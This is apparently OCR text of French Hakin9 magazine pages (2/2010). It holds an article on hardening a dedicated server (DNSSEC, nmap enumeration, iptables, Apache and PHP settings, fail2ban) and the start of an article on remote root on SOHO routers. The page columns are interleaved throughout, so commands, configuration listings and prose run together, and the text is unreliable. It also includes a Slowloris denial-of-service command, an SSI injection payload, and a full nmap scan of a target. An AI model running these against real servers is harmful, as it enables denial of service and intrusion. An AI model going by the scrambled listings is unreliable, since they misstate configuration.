DNSSEC La génération engendre deux fichiers : eyWB6EcbglnF5iQ=='';
Pour résoudre les problèmes liés hijacking, }
poisoning et la sécurité des transferts de • Ktsikey-opidah.com.+157+43377.key
zones, nous allons voir comment signer • Ktsikey-opidah.com.+157+43377.private Puis nous appliquerons la signature des
DNS pour un serveur spécifique :
Listing 2. WHOIS Protégé avec WhoisGuard
server 192.168.1.7 {
Registrant Contact: keys { tsikey-opidah.com.;
WhoisGuard
};
WhoisGuard Protected
45f454e5f888.protected@whoisguard.com }
+1.1256023578
Fax: +1.1256023578 zone ''opidah.com'' {
11400 W. Olympic Blvd. Suite 200
Los Angeles, CA 90064
type master;
US file ''/var/cache/bind/
opidah.com.hosts'';
Listing 3. Transfert de zone allow-query { any; };
wwitb~# nslookup allow-transfer { key tsikey-
> ls -d opihad.net opidah.com.,; };
[ns3.opidah.com] }
$ORIGIN opidah.com.
@ IN SOA ns2.opidah.com. master.opidah.com. (
1105498423 La communication entre le serveur
10800 primaire et secondaire est maintenant
3600
vérifiable à travers leurs signatures. Le
604800
38400 ) TSIG est très simple à mettre en place,
mais présente quelques désavantages : il
opidah.com. IN NS ns1.opidah.com. faut distribuer les clés parmi les serveurs, il
opidah.com. IN NS ns2.opidah.com.
opidah.com. IN NS ns3.opidah.com.
n'y a pas de niveau d'autorité et donc cette
opidah.com. IN A 11.22.33.44 technique n'est pas aussi flexible que du
www.opidah.com. IN CNAME opidah.com cryptage asymétrique.
dev.opidah.com. IN CNAME opidah.com
Pour palier ce problème, le protocole
smtp.opidah.com. IN A 22.33.44.55
ftp.opidah.com. IN CNAME opidah.com DNSSEC a été proposé. Ce protocole
mail.opidah.com. IN A 22.33.44.55 utilise le cryptage en clé publique pour la
monsite.com. IN MX 10 mail.opidah.com. signature des fichiers de zone.
ns1.monsite.com. IN A 11.22.33.44
Pour le DNSSEC, nous pouvons utiliser
Listing 4. Restriction des transferts de zone avec Bind une commande similaire comme pour le
TSIG. Nous allons donc générer une clé
# /etc/bind/named.conf
DSA de 1024 bits :
acl ''tpeux'' {
192.168.1.0/24; wwitb~# dnssec-keygen -a DSA -b 1024
172.15.0.0/16; -n ZONE opidah.com.
}

options { Il faudra par la suite ajouter la ligne précisant


… le chemin de la clé $include /Users/
allow-transfer { tpeux; }; fluxius/Kopidah.com.+003+18366.key à

}
la fin du fichier de configuration de zone.
Puis, nous allons générer notre nouveau

20 HAKIN9 2/2010
SERVEURS DÉDIÉS PROTÉGEZ-VOUS DES ATTAQUES SUR LE WEB

fichier de zone avec les empreintes (Voir Anonymous pour avoir ne serait-ce qu'un potentiels. En effet, nous sommes partis
résultat en listing 6.) : petit accès au serveur avec ftp. d'une simple adresse pour avoir son
Le service présent sur le port 8080 adresse IP, les serveurs DNS associant
wwitb~# dnssec-signzone -o opidah.com semble très intéressant : c'est un accès chaque entrée à une adresse IP et
db.opidah.com protégé au routeur. Cependant, la l'énumération avec fingerprinting nous
protection en question est très faible car si permet de connaître les services utilisés
Informations sur les nous lancions une attaque par Bruteforce, en nous aidant à affiner le domaine de
services il ne tiendra qu'à la faible robustesse recherche des vulnérabilités.
du mot de passe pour que l'attaquant
Énumération et fingerprinting puisse y avoir accès rapidement. Prévenir contre
L'énumération permet à l'attaquant de A savoir que si l'attaquant en question l'énumération et le
découvrir les services qui tournent sur à un accès au routeur, il pourra injecter fingerprinting
un serveur et qui sont accessibles en son propre firmware pour espionner les L'énumération est une étape assez
public. Ce genre d'informations sont communications qui transitent à travers le dangereuse car l'attaquant saura où
principalement collectées par un scan routeur (voir Figure 2). et comment attaquer grâce aux traces
de ports, permettant à l'attaquant en La phase d'énumération et de laissées par ces services. Bloquer les ports
question de voir quelles attaques peuvent fingerprinting contribue largement à qui ne nous sont pas utiles en extérieur est
être réalisées contre une organisation par l'identification des vecteurs d'attaque la première chose à faire avant de mettre
exemple.
Le fingerprinting est une étape
Pour plus de sécurité
importante car l'attaquant a besoin Il est préférable de poser des conditions supplémentaires concernant l'accès au protocole SSH.
d'informations sur les services et modules En effet, plus nous isolerons les services ne regardant pas les autres usagers, moins nous aurons
utilisés sur le serveur cible. Cette étape à faire dans le cadre de la maintenance de notre serveur.
est suivie, en général, d'une recherche de Seules sont acceptées ici les connexions au protocole SSH provenant d'une adresse
failles potentielles en utilisant des exploits spécifique :
référencés ou en cherchant soit-même les wwitb~# iptables -A INPUT -p tcp -s <IP de Management> --dport 22 -m state --
failles. state ESTABLISHED -j
L'outil Nmap, comme nous le voyons wwitb~# iptables -t filter -A OUTPUT -p tcp -s <IP de Management> --dport 22 -m
sur le Listing 7, nous permet d'énumérer state --state NEW, ESTABLISHED -j ACCEPT ACCEPT
tout en capturant les bannières.
Il sera toutefois recommandé d'utiliser le firewall côté routeur de base en plus pour assurer un filtrage
Après ce scan, nous pouvons par défaut.
inventorier ces informations en dressant
un tableau de services (Tableau 3) :
Il ne faut pas oublier aussi de noter le Listing 5. Restriction des requêtes DNS
système utilisé qui n'est autre que Debian
# /etc/bind/named.conf.local
avec une version de noyau comprise entre
Linux 2.6.13 et 2.6.27. Nous observons, ...
en revanche, qu'il manque des informations acl ''trusted'' {
192.168.1.0/24;
concernant l'accès FTP. Donc, nous allons
''Liste d'IPs'';
remplacer ce « ? » en faisant une capture }
de bannière sous telnet en s'identifiant …
comme utilisateur Anonymous :
options {

220 ProFTPD 1.3.0 Server (Debian) [:: allow-transfer { tpeux; };
ffff:11.22.33.44] allow-recursion { trusted; };
allow-query { trusted; }
USER Anonymous
version ''What What!'';
500 USER not understood …
USER root }
331 Password required for root.
zone ''opidah.com'' {
root
type master;
500 ROOT not understood file "/var/cache/bind/opidah.com.hosts";
… allow-query { any; };

}
Puisque l'accès est protégé, l'attaquant
ne pourra pas compter sur l'utilisateur

2/2010 HAKIN9 21
DOSSIER
un serveur en ligne. C'est ce que nous peu utilisé. Dans notre cas, nous aurons wwitb~# iptables -t filter -F
verrons avec IPTables/NetFilter. seulement besoin des services HTTP, FTP, wwitb~# iptables -t filter
SSH, c'est-à-dire ouvrir les connexions -X
IPTables/NetFilter entrantes des ports 80 (ou 8080), 21 et 22.
Nous avons ici un firewall intégré en natif à Tout d'abord, il nous faudra réinitialiser Ensuite, nous fermerons toutes les
Linux à partir du noyau 2.4 mais encore très les IPTables actuelles : connexions entrantes et sortantes :

20091222002739 18366 opidah.com.


Listing 6. Fichier zone signé
CJCfh1wsCccZNLnepysi94Ab5nThE3LqFioS
opidah.com. 38400 IN SOA ns1.opidah.com. MQ1/oerKg/u7UUpJlFg= )
master.opidah.com. ( 38400 NSEC ftp.opidah.com. CNAME RRSIG NSEC
1105498423 ; serial 38400 RRSIG NSEC 3 3 38400 20100121002739 (
10800 ; refresh (3 hours) 20091222002739 18366 opidah.com.
3600 ; retry (1 hour) CHHwZ6uk+s8dCIQgVLfbUelUCFPVSoPWBYFF
604800 ; expire (1 week) OuOWQIo4L8lW3LFozVA= )
38400 ; minimum (10 hours 40 minutes) ftp.opidah.com. 38400 IN CNAME opidah.com.opidah.com.
) 38400 RRSIG CNAME 3 3 38400 20100121002739 (
38400 RRSIG SOA 3 2 38400 20100121002739 ( 20091222002739 18366 opidah.com.
20091222002739 18366 opidah.com. CcwyPPjuXz0NUlfQkKfHNgexsMK5F2AeEVLC
CBCh4i2hJ4MEBZOwnrTbBH8qhfmIL0hgXxcS 849Sph291NDw9Ny8Xww= )
Npzhe2NWVViP/EnW38Y= ) 38400 NSEC mail.opidah.com. CNAME RRSIG NSEC
38400 NS ns1.opidah.com. 38400 RRSIG NSEC 3 3 38400 20100121002739 (
38400 NS ns2.opidah.com. 20091222002739 18366 opidah.com.
38400 NS ns3.opidah.com. CF3+skOwfVhvuj+OTNwXxSlMzDullcLvG/fh
38400 RRSIG NS 3 2 38400 20100121002739 ( pZsjNAbktPp4RKixItQ= )
20091222002739 18366 opidah.com. mail.opidah.com. 38400 IN A 22.33.44.55
CILFAkABqfTKR3TfcLlPhm1tojcXXB4JGs4K 38400 RRSIG A 3 3 38400 20100121002739 (
ZQNlaz6gBW2O108DOac= ) 20091222002739 18366 opidah.com.
38400 A 11.22.33.44 CCIZh1AChDwB2uc+HFU+D2Fnt/ElD02Y/igJ
38400 RRSIG A 3 2 38400 20100121002739 ( T7NHjfqAtpJVJg4NUc4= )
20091222002739 18366 opidah.com. 38400 NSEC ns1.opidah.com. A RRSIG NSEC
CfcIN53KXkgxVCXxw+VrmRCMyJxwdX6itb8E 38400 RRSIG NSEC 3 3 38400 20100121002739 (
ODbUBJ/i0L+CUFHZSRE= ) 20091222002739 18366 opidah.com.
38400 MX 10 mail.opidah.com. ChnFhbXeK8/5m22yU9nboH3uD5TnnA5zI1Wl
38400 RRSIG MX 3 2 38400 20100121002739 ( KAaqgsalPIn8dMbIFV8= )
20091222002739 18366 opidah.com. ns1.opidah.com. 38400 IN A 11.22.33.44
CCQaBt4tB4T88p1Sh3VuLWuK/3ZDKdSBlCa/ 38400 RRSIG A 3 3 38400 20100121002739 (
vKhnazXpM4lBzCeqhzY= ) 20091222002739 18366 opidah.com.
38400 NSEC dev.opidah.com. A NS SOA MX RRSIG Chw+NpxFjNVM/GuzXMHSJY9yTfEakW6AuauZ
NSEC DNSKEY /AV3A090nyNAQoU+x1I= )
38400 RRSIG NSEC 3 2 38400 20100121002739 ( 38400 NSEC smtp.opidah.com. A RRSIG NSEC
20091222002739 18366 opidah.com. 38400 RRSIG NSEC 3 3 38400 20100121002739 (
CfiwxrDyo07TQ7xLapZFjj7YEY1smU4z1YDY 20091222002739 18366 opidah.com.
GB052jlEa+0AmSgLvJc= ) ChiaNeMbcHZcL6llahVvMCrLscP3RcddFaAx
38400 DNSKEY 256 3 3 ( FhWmbAguq78w8fvk95o= )
Ckvc1reoYB/b0AB5qZIbQOLU1fBJn+gDVEXJ smtp.opidah.com. 38400 IN A 22.33.44.55
YXHZnsJ0O5Z92IMYFEP83UtpF+IuQAZ8F/jf 38400 RRSIG A 3 3 38400 20100121002739 (
mh1Px0GFLZ9b0/Ba09FAPvwbRGvZ55Eg5JEG 20091222002739 18366 opidah.com.
z3E04k+sNPoQb6THSIQB3rx2xKorOi1iLKdY CJXouL8pfBwp8jDXWWDa0SWmPHmDNkeSpXxt
7DlXyRyhnl7EHbwA1Q9z+ZPtzsRLkB5LRSOm Nzovv6uEpzNtkQbE5fc= )
A4nTk5Cl+IrdSuovsUciMt+wKerR7fDekONY 38400 NSEC www.opidah.com. A RRSIG NSEC
sIIOqjkfkujJ/kYx7ZA2HFh/YmrM0c1Uul8K 38400 RRSIG NSEC 3 3 38400 20100121002739 (
+49DY94HbP9ftr+xWvNCXxpxOHIwWNE4toYT 20091222002739 18366 opidah.com.
pAzRRi+0A8NhDCkulkGQOZR5Tnim+Uwymi+i CJKCaWC1TQxnQojF7Bf/MhPn6aDBGamrbZ2T
sIn7IsYfGlfkyiQABQMFDpZZALbpcCrxf8PW kCBFMr5JdjGcIvfI4KI= )
Fmb6QB1O6Qqvj8kIR5fXiIBczQJc7BpLkftD www.opidah.com. 38400 IN CNAME opidah.com.opidah.com.
VSCqIhFFns8wRPiVywHlaPs4ZkXWiEZk8Yxo 38400 RRSIG CNAME 3 3 38400 20100121002739 (
UgzZFNZ93EnSAyCmJm0gPoyI5zc6t/8DhCMc 20091222002739 18366 opidah.com.
mUiYIxMGnLClTP/0Q3VfVmTSMiNMUjcd+R3R CBYB8UZtCN/VHz5IXQRFAHhG/VALpAX/lmjq
8rOYTmNRUOKJPJxvNkvOEZ0Q5goa+YhVFFhV pHoZ8Rj5ZkbDXuqnh00= )
) ; key id = 18366 38400 NSEC opidah.com. CNAME RRSIG NSEC
38400 RRSIG DNSKEY 3 2 38400 20100121002739 ( 38400 RRSIG NSEC 3 3 38400 20100121002739 (
20091222002739 18366 opidah.com. 20091222002739 18366 opidah.com.
CFRmf5NRxWnmuwMXdFNc0H7M8qCRNW3yWzAZ CbjbHO20U8z4fSHSCqYjpN2y54ajZcDBqBcP
cOfjWoudoHDcAcKL8G4= ) 0bXmfXtgWjmSdiHfnMc= )
dev.opidah.com. 38400 IN CNAME opidah.com.opidah.com.
38400 RRSIG CNAME 3 3 38400 20100121002739 (

22 HAKIN9 2/2010
SERVEURS DÉDIÉS PROTÉGEZ-VOUS DES ATTAQUES SUR LE WEB

wwitb~# iptables -t filter -P INPUT state ESTABLISHED -j ACCEPT ServerSignature dans le fichier
DROP wwitb~# iptables -t filter -A OUTPUT apache2.conf :
wwitb~# iptables -t filter -P FORWARD -p tcp --dport 21 -m state
DROP --state NEW, ESTABLISHED -j ServerSignature On
wwitb~# iptables -t filter -P OUTPUT ACCEPT
DROP Le listing des répertoires et fichiers
Notre politique de filtrage est très restrictive, Le listage des fichiers et de répertoires
Maintenant, nous allons ouvrir les le firewall bloque le protocole ICMP. Pour est une fonctionnalité que l'attaquant
connexions entrantes et sortantes des l'autoriser, il nous faut ajouter ces deux utilise contre nous, en voyageant dans les
services SSH, HTTP et FTP, avec bien lignes : dossiers que nous aimerions tenir à l'égard
évidement un suivi de connexion pour se des regards indiscrets. Pour le désactiver, il
protéger des scan à l'aide d'un port source wwitb~# iptables -A OUTPUT -p icmp -j nous faudra configurer la directive Options
précis (option -g nmap) : ACCEPT comme suit apache2.conf :
wwitb~# iptables-A INPUT -p icmp -j
wwitb~# iptables -t filter -A INPUT -p ACCEPT Options -Indexes
tcp --dport 22 -m state --
state ESTABLISHED -j ACCEPT Pour s'assurer que tout ce qui n'est pas Les liens symboliques
wwitb~# iptables -t filter -A OUTPUT dans les critères est effectivement bloqué : Il est nécessaire aussi que l'attaquant ne
-p tcp --dport 22 -m state puisse pas suivre les liens symboliques
--state NEW, ESTABLISHED -j wwitb~# iptables -A INPUT -j DROP de fichiers sensibles comme /etc/shadow
ACCEPT wwitb~# iptables -A OUTPUT -j DROP (contenant les mots de passes de la
wwitb~# iptables -t filter -A INPUT -p machine) et /etc/passwd :
tcp --dport 80 -m state -- Le Signature Apache
state ESTABLISHED -j ACCEPT Apache à tendance à afficher beaucoup trop Options -FollowSymLinks
wwitb~# iptables -t filter -A OUTPUT de choses pendant les messages d'erreurs
-p tcp --dport 80 -m state dont le type de système d'exploitation, les Le Server-Side includes injection
--state NEW, ESTABLISHED -j modules installés et plein d'autres informations Afin d'éviter les vulnérabilités de type Server-
ACCEPT concernant les versions utilisées. Side injection, comme par exemple <!--
wwitb~# iptables -t filter -A INPUT -p Mais, heureusement, il est possible #exec cmd="ls"-->, nous ajouterons un tag
tcp --dport 21 -m state -- de les enlever grâce à la directive supplémentaire à notre directive Options :

Tableau 1. Services opidah.com


Ports Services Versions et modules Autres informations
443 open_ssl + httpd Linksys WRT54G wireless-G router http Service https demandant une
config authentification ldap/htaccess
111 rpcbind | 100000 2 111/udp rpcbind
| 100024 1 32769/udp status
| 100000 2 111/tcp rpcbind
|_ 100024 1 36381/tcp status
8080 open_ssl + httpd Linksys WRT54G wireless-G router http Service https demandant une
config authentification ldap/htaccess
22 ssh OpenSSH 4.3p2 Debian 9etch3 (protocol ssh-hostkey: 1024 4c:e2:5f:86:e4:d0:c9:
2.0) 0d:45:6a:95:01:96:6c:ff:cc (DSA)
|_ 2048 cc:1f:19:f1:2c:741:55:0f:45:7e:0a:
02:cc:ed:b6:c1 (RSA)
21 ftp ProFTPD 1.3.0 ?
80 Apache Apache httpd 2.2.3 ((Debian) DAV/2 SVN/ Accès public : html-title: Opidah
1.4.2 PHP/5.2.8-0.dotdeb.1 with Suhosin- – Super Service
Patch)
143 imap Courier Imapd (released 2005) imap-capabilities:
THREAD=ORDEREDSUBJECT QUOTA
THREAD=REFERENCES UIDPLUS
ACL2=UNION SORT ACL IMAP4rev1 IDLE
NAMESPACE CHILDREN

2/2010 HAKIN9 23
DOSSIER
Options -Indexes -Includes
Listing 7. Scan et fingerprinting de opidah.com

wwitb~# nmap -vA opidah.com


Éviter les attaques de type Denial
of Services sur Apache
Starting Nmap 5.00 ( http://nmap.org ) at 2009-12-22 12:34 Paris, Madrid Limiter le temps mort et les requêtes
NSE: Loaded 30 scripts for scanning.
permet d'éviter les attaques de Type
Initiating ARP Ping Scan at 12:34
Scanning opidah.com [1 port] DoS (Denial of Service). L'idée d'une telle
Completed ARP Ping Scan at 12:34, 0.33s elapsed (1 total hosts) protection est de laisser le moins d'espace
Initiating Parallel DNS resolution of 1 host. at 12:34 aux attaquants comme suit :
Completed Parallel DNS resolution of 1 host. at 12:34, 0.03s elapsed
Initiating SYN Stealth Scan at 12:34
Scanning opidah.com [1000 ports] Timeout 30
Discovered open port 111/tcp on opidah.com LimitRequestBody 524288
Discovered open port 113/tcp on opidah.com LimitRequestFields 20
Discovered open port 21/tcp on opidah.com
Discovered open port 22/tcp on opidah.com
LimitRequestFieldSize 8190
Discovered open port 143/tcp on opidah.com LimitRequestLine 8190
Discovered open port 80/tcp on opidah.com
Completed SYN Stealth Scan at 12:34, 0.03s elapsed (1000 total ports)
Bien plus que le SYN Flooding, le Ping
Initiating Service scan at 12:34
Scanning 7 services on opidah.com of Death, Teardrop, Ping Flooding,
Completed Service scan at 12:34, 6.05s elapsed (7 services on 1 host) Amplification Attack, etc... il existe des
Initiating OS detection (try #1) against opidah.com scripts tout comme Slowloris (http:
NSE: Script scanning opidah.com.
//ha.ckers.org/slowloris/ ) mettant en
NSE: Starting runlevel 1 scan
Initiating NSE at 12:34 évidence les attaques DoS rendant
Completed NSE at 12:35, 6.11s elapsed certains services inaccessibles.
NSE: Script Scanning completed.
Cependant, il existe une solution ç des
Host opidah.com is up (0.00s latency).
Interesting ports on opidah.com:
attaques de ce type comme HTTPReady.
Not shown: 993 closed ports Exécution d'une attaque Slowloris :
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.0
perl slowloris.pl -dns example.com
22/tcp open ssh OpenSSH 4.3p2 Debian 9etch3 (protocol 2.0)
| ssh-hostkey: 1024 4c:e2:5f:86:e4:d0:c9:0d:45:6a:95:01:96:6c:ff:cc (DSA)
|_ 2048 cc:1f:19:f1:2c:741:55:0f:45:7e:0a:02:cc:ed:b6:c1 (RSA) PHP : Affichage des erreurs
80/tcp open http Apache httpd 2.2.3 ((Debian) DAV/2 SVN/1.4.2 PHP/5.2.8- Les utilisateurs n'ont pas souvent
0.dotdeb.1 with Suhosin-Patch)
|_ html-title: Opidah - Super Service
conscience qu'afficher les erreurs est très
111/tcp open rpcbind dangereux, surtout quand elles renseignent
| rpcinfo: parfaitement sur la nature d'une erreur de
| 100000 2 111/udp rpcbind
compilation, du fichier contenant l'erreur et
| 100024 1 32769/udp status
| 100000 2 111/tcp rpcbind de son chemin.
|_ 100024 1 36381/tcp status En effet en identifiant l'erreur,
113/tcp open ident l'attaquant pourra alors savoir quel type
143/tcp open imap Courier Imapd (released 2005)
d'attaque utiliser : Failles Include ou SQL
|_ imap-capabilities: THREAD=ORDEREDSUBJECT QUOTA THREAD=REFERENCES UIDPLUS
ACL2=UNION SORT ACL IMAP4rev1 IDLE NAMESPACE CHILDREN Injection.
MAC Address: 00:11:D8:22:11:00 (Asustek Computer) Pour ce faire, évitez d'afficher les erreurs
Device type: general purpose en modifiant le fichier php.ini comme ceci :
Running: Linux 2.6.X
OS details: Linux 2.6.13 - 2.6.27
display _ errors Off
Uptime guess: 82.077 days (since Thu Oct 01 11:44:43 2009) Vous laisserez donc les développeurs
Network Distance: 1 hop s'occuper d'une partie développement
TCP Sequence Prediction: Difficulty=205 (Good luck!)
pour chaque script avec l'affichage des
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux erreurs comme dans le Listing 8.

Listing 8. Affichage des erreurs avec PHP Éviter les attaques Bruteforce avec
<?php
Fail2ban
error_reporting(E_ALL); Fail2ban est un script qui surveille les
ini_set("display_errors", 1); accès réseau à l'aide des logs du serveur.
...
Un utilisateur tentant de se connecter, selon
?>
un nombre de fois qui peut être limité, est
banni durant une certaine période.

24 HAKIN9 2/2010
SERVEURS DÉDIÉS PROTÉGEZ-VOUS DES ATTAQUES SUR LE WEB

http://www.fail2ban.org/wiki/index.php/ Nous configurons dans le fichier ignoreip = 127.0.0.1 ; liste des


Main_Page jail.conf les services à monitorer : adresses IP de confiance à
ignorer par fail2ban
bantime = 600 ; temps de ban en
Sur Internet secondes

• http://www.modsecurity.org/documentation/modsecurity-apache/2.5.11/html-multipage/ maxretry = 3 ; nombre d'essais


– ModSecurity, autorisés pour une
• http://whois.domaintools.com/ – Whois domain Online Tools, connexion avant d'être
• http://www.bind9.net/manuals – Manuel d'utilisation Bin9, banni
• http://linux.die.net/man/1/dig – Manuel DNS lookup Linux, destmail admin@opidah.com ; adresse
• http://www.alsacreations.com/tuto/lire/622-Securite-firewall-iptables.html – Securiser son
e-mail destinataire des
serveur avec IPTables/Netfilter, Fail2Ban et Rkhunter,
• http://www.gelato.unsw.edu.au/lxr/source/net/ipv4/tcp_ipv4.c – Source du TCP/IPv4 Linux, notifications
• https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-pilosov-kapela.pdf ...
– Stealing The Internet : Documentation extra sur le MITM.
Détection des Rootkits
Pour la détection de Rootkits, nous
pourrons utiliser Rkhunter qui est un
Veille technologique sur ses services anti-Rootkit calculant les empreintes MD5
La veille technologique est une tâche très importante car elle permet de détecter une vulnérabilité
avant quelle puisse avoir une conséquence sur notre système. des programmes afin de détecter les
Pour cela, consultez toutes les sources concernant les services que vous utilisez (blogs, forums, changements chaque jour :
newsgroups, Flux RSS, Sites, …). N'hésitez pas à faire des audits et à utiliser des programmes http://rkhunter.sourceforge.net/
comme Nessus à la recherche de vulnérabilités même si ce type de programme ne référence
pas plus de 40% des failles connues. De plus, n'oubliez pas la lecture des logs de chacun de vos Conclusion
services et à mettre régulièrement à jour vos services.
Les serveurs dédiés ne sont pas à l'abri des
Voici quelques sites fréquemment actualisés référençant des sources d'exploits :
attaques. Et même si ces règles devraient
• http://www.milw0rm.com être appliquées pour chaque poste, les
• http://www.securityfocus.com serveurs sont les plus vulnérables car
• http://www.zerodayinitiative.com exposés 24h/24, tout peut arriver. En effet,
• http://labs.idefense.com/
l'attaquant aura le temps de prendre un
• http://www.packetstormsecurity.org/
maximum d'informations pour envisager
une attaque ciblée.
Nous n'avons vu qu'une petite partie
des attaques variant selon la spécialité de
l'utilisateur malveillant et il faut penser à voir
le système dans son ensemble. Pensez
donc à faire des veilles technologiques,
mises à jour des services et avoir d'autres
opinions quant à la sécurité de votre
serveur.

À propos de l'auteur
Étudiant ingénieur en électronique, informatique et
management à l'école EFREI, Sébastien Dudek travaille
depuis plus de 10 ans dans le domaine de l'informatique
dont presque 6 ans dans la sécurité de l'information. Il
s'intéresse plus particulièrement aux techniques
d'intrusions, failles applicatives, Reversing, Tracking et
effectue, ces derniers temps, des recherches dans le
domaine Hertzien et la Cryptologie.
Figure 2. Demande d'identification du routeur Contact : sdudek.redac@gmail.com

2/2010 HAKIN9 25
DOSSIER
Root distant sur
MICHAŁ SAJDAK

un périphérique
Degré de difficulté
réseau
Êtes-vous sûr que votre réseau local n'est pas utilisé dans un bot-
net ennemi ? Avez-vous déjà craint que votre routeur à domicile
était un zombie contrôlé à distance ? Depuis peu, il est un fait avé-
ré : les attaques de masse compromettant des dizaines de milliers
de périphériques réseau de la classe SOHO.

D
epuis un certain temps, émerge sur nous le regardons du point de vue de fabricant).
le marché une tendance consistant à Et comme nous avons démontré ci-dessus (les
créer des périphériques réseau selon le fonctionnalités proposées par les logiciels open
schéma suivant : source), ce serait inutile dans de nombreux cas.
Remarquez toutefois un défaut masqué d'une
• utiliser un système d'exploitation gratuit (par telle approche. En combinant en quelque sorte le
exemple, Linux/FreeBSD), logiciel open source à partir des sources différen-
• utiliser le logiciel open source qui garantit des tes, nous pouvons perdre le contrôle de la sécurité
fonctionnalités appropriées pour l'ordinateur en du système. N'oubliez pas que tout composant uti-
question (par exemple, dans le cas du routeur de lisé évolue dans le temps. À titre d'exemple :
la classe SOHO, il peut s'agir de : iptables, dae-
mon ppp, serveur SNMP, serveur Web léger), • les nouvelles erreurs sont détectées,
• configurer le système d'exploitation/ le logiciel • les nouvelles versions du composant sont
supplémentaire pour le matériel donné et pour publiées et contiennent des fonctionnalités
les pré-requis fonctionnels concrets du péri- supplémentaires (point potentiellement sus-
phérique. ceptible),
CET ARTICLE • une nouvelle ligne du composant est publiée :
EXPLIQUE
Bref, sont utilisées les riches fonctionnalités pro- elle n'est pas forcément complètement com-
comment accéder à distance au
compte root dans un système
posées par les logiciels open source en réduisant patible à la précédente et avec le temps, les
d'exploitation sur le routeur de la considérablement les coûts. Comment économi- concepteurs ne corrigent les erreurs que dans
classe SOHO (en anglais Small
Office/Home Office),
ser ? Un logiciel open source bien choisi : la nouvelle ligne.

comment se protéger contre l'at-


taque de ce type, • garantit de riches fonctionnalités, Ce type de propriétés fait qu'un contrôle précis de
d'autres exemples d'attaques qui • est stable et bien testé sur des plates-formes la sécurité du système devient un grand défi
peuvent être effectuées sur les matérielles différentes et dans les configura- Observons comment il en est en pratique. Nous
périphériques réseau.
tions différentes, prenons comme premier exemple l'un des produits
CE QU'IL FAUT • est sûr (y compris le support assuré par les phares de Cisco, périphérique ASA (Adaptive
SAVOIR concepteurs). Security Appliance), combinant les fonctionnalités
les aspects de base liés à la sé- d'un pare-feu, d'un VPN et du système IPS (Intrusion
curité des applications,
Créer un logiciel pour supporter un pare-feu ou Prevention System). Cette machine se sert depuis
bcomment utiliser une console autre périphériques réseau depuis les bases peu du système d'exploitation Linux et de toute une
Web de gestion sur les périphé-
riques réseau. prendrait énormément de temps (et d'argent, si série des logiciels open source supplémentaires.

26 HAKIN9 2/2010
ROOT DISTANT SUR UN PÉRIPHÉRIQUE RÉSEAU

Le site Web de Cisco propose la liste commande du système d'exploitation (en • utilisation d'une version non actuelle
complète des licences utilisées dans ASA, tant que root) depuis cette console. du serveur http (indications des er-
par exemple : Apache License, HSQLDB reurs se trouvent par exemple, dans
License, libxml2 License, Linux 2.6 License, Web Management et la les fichiers changelog),
zlib 1.2.2 License. La liste complète sécurité du périphérique • absence d'une validation appropriée
comprend une quarantaine de positions Un nombre de plus en plus grand de de l'entrée dans l'application qui sert
et le nombre de logiciels open source périphériques réseau permet de gérer à gérer le périphérique,
est sûrement plus élevé. Dans le cas de complètement l'ordinateur via le navigateur • utilisation des distributions Linux dé-
la bibliothèque zlib, le site du fabricant Internet. Nous pouvons dire qu'il s'agit d'une veloppées (qui assurent par exemple
affiche le message suivant : Version 1.2.3 fonctionnalité qui doit tout simplement être des binaires comme wget et tftp).
eliminates potential security vulnerabilities disponible sur l'ordinateur de ce type (doit-
in zlib 1.2.1 and 1.2.2, so all users of those elle vraiment ?). N'oublions pas que ce type Donc, en ce qui concerne la sécurité, ce
versions should upgrade immediately. de fonctionnalité crée des problèmes côté n'est pas le meilleur choix.
ASA, est-il susceptible ? Difficile à dire : sécurité. L'intrus peut en effet essayer : Il est toujours possible d'ignorer ces
peut-être une autre version zlib est utilisée problèmes et de bloquer complètement
que celle indiquée dans les licences. Peut- • d'attaquer le serveur Web (par exem- les messages initiés depuis Internet dans
être le fabricant a-t-il corrigé lui-même les ple, en utilisant un support incorrect du le pare-feu intégré. Un grand nombre de
failles de sécurité ou peut-être, même si protocole http), fabricants le fait dans la configuration par
la version susceptible de la bibliothèque • d'attaquer l'application qui fonctionne défaut. Mais cette solution, suffira-t-elle
est utilisée, ces erreurs ne sont-elles pas sur le serveur Web (nous présente- pour bloquer les intrus potentiels qui ten-
dangereuses sur ce périphérique ? Ce rons un exemple de ce type dans la tent d'effectuer une attaque en dehors de
schéma démontre toutefois un chemin suite de l'article), LAN ? Analysons deux exemples qui ré-
potentiel de démarches d'un intrus. Zlib est • d'attaquer la configuration du com- sultent de nos recherches sur la sécurité
l'une des nombreuses bibliothèques open posant (à titre d'exemple, une authen- des routeurs de la classe personnelle.
source utilisées dans ASA. Et ASA, c'est l'un tification et une autorisation des
des nombreux périphériques réseau. utilisateurs mal configurées). Routeur ASMAX – AR 804
Un autre exemple se trouve dans le gu (ADSL + WiFi)
document Analyzing Complex Systems Est-il facile d'effectuer ce type d'attaque ? Nos recherches ont démontré qu'il reposait
The BlackBerry Case écrit par fx. Cette Pour répondre à cette question, regar- sur l'architecture matérielle MIPS (le proces-
présentation analyse notamment les bi- dons comment est créé le web manage- seur employé classe RISC). Du côté logiciel,
bliothèques inactuelles (c'est-à-dire avec ment dans les périphériques de la classe l'ensemble Linux et BusyBox (le paquet d'ap-
des erreurs de sécurité) : zlib et Graphics- personnelle : plications supplémentaires légères et utiles)
Magick (qui supporte les opérations sur est utilisé comme base. Mentionnons aussi
les fichiers graphiques). Grâce aux er- • un léger serveur http est utilisé (sa que ce routeur bloque par défaut la com-
reurs dans cette dernière, il était possi- qualité se trouve dans sa légèreté et munication effectuée depuis Internet.
ble de prendre le contrôle sur BlackBerry non sa sécurité), Est-il donc possible d'attaquer un pé-
Enterprise Serwer – en envoyant un fichier • l'application de gestion est préparée riphérique depuis l'extérieur (c'est-à-dire,
graphique spécialement généré sur un té- dans l'ancien style, CGI. Il s'agit sou- sans être dans LAN) ? Nous pensons tout
léphone BlackBerry. vent d'un logiciel écrit en C et compilé de suite aux attaques de la classe CSRF
Les exemples de ce type sont vrai- sous forme binaire, (Cross Site Request Forgery) qui créent
ment nombreux. Si ce point vous intéres- • le serveur http fonctionne avec les une sorte de point intermédiaire pour at-
se, prenez connaissance du projet router droits root. taquer le système cible depuis l'ordinateur
hacking challenge organisé par gnuci- où fonctionne le navigateur Internet. Avant
tizen ou du document appelé Universal Pourquoi ce type de structures est-il em- de détailler la question de l'attaque CSRF
Plug and Play – Dead simple or simply ployé ? Puisque nous garantissons ainsi dans le contexte des périphériques ré-
